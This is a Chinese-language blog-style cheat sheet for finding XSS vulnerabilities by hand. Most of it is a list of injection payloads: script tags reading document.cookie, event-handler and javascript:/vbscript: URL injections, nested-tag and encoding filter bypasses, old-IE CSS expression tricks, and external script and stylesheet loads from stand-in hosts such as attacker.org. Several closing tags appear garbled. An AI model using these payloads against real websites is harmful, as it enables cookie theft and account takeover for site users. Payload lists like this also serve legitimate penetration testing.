XSS漏洞手工检测

xss漏洞手工检测

  • xss漏洞手工检测
    • 1基本检测
    • 2绕过技巧

2017年12月14日 17:44:57

1、基本检测

'"<>&空格 \\看有没有逃逸
常用语句
"/><script>alert(document.cookie)script>--
<script>alert(document.cookie)script>--
"onclick="alert(document.cookie)
<script>alert("XSS")script>
<script src="http://xss.io/a.js">script>
<div onclick="alert('xss')">
<div onmouseenter="alert('xss')">

2、绕过技巧

常用绕过

另一个绕过的办法就是在属性和= 之间插入一个空格:
<div onclick ="alert('xss')">
<scr<script>ipt>alert("XSS")</scr<script>ipt>
行内样式
<div style="color: expression(alert('XSS'))">
<div style="color: '<'; color: expression(alert('XSS'))">
<a href="javascript:alert('xss')">link</a>     //url中输入
<a href='vbscript:MsgBox("XSS")'>link</a>       //老IE或者兼容模式的IE11
'-confirm`1`-'
'-confirm(1)-'

利用字符编码
%c1;alert(/xss/);//

绕过长度限制
"onclick=alert(1)//
"><script>alert(xss);<script>

CSS import绕过
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行

<style>
@import url("http://attacker.org/malicious.css");
style>
malicious.css:
body {
    color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。

你可能感兴趣的:(web安全)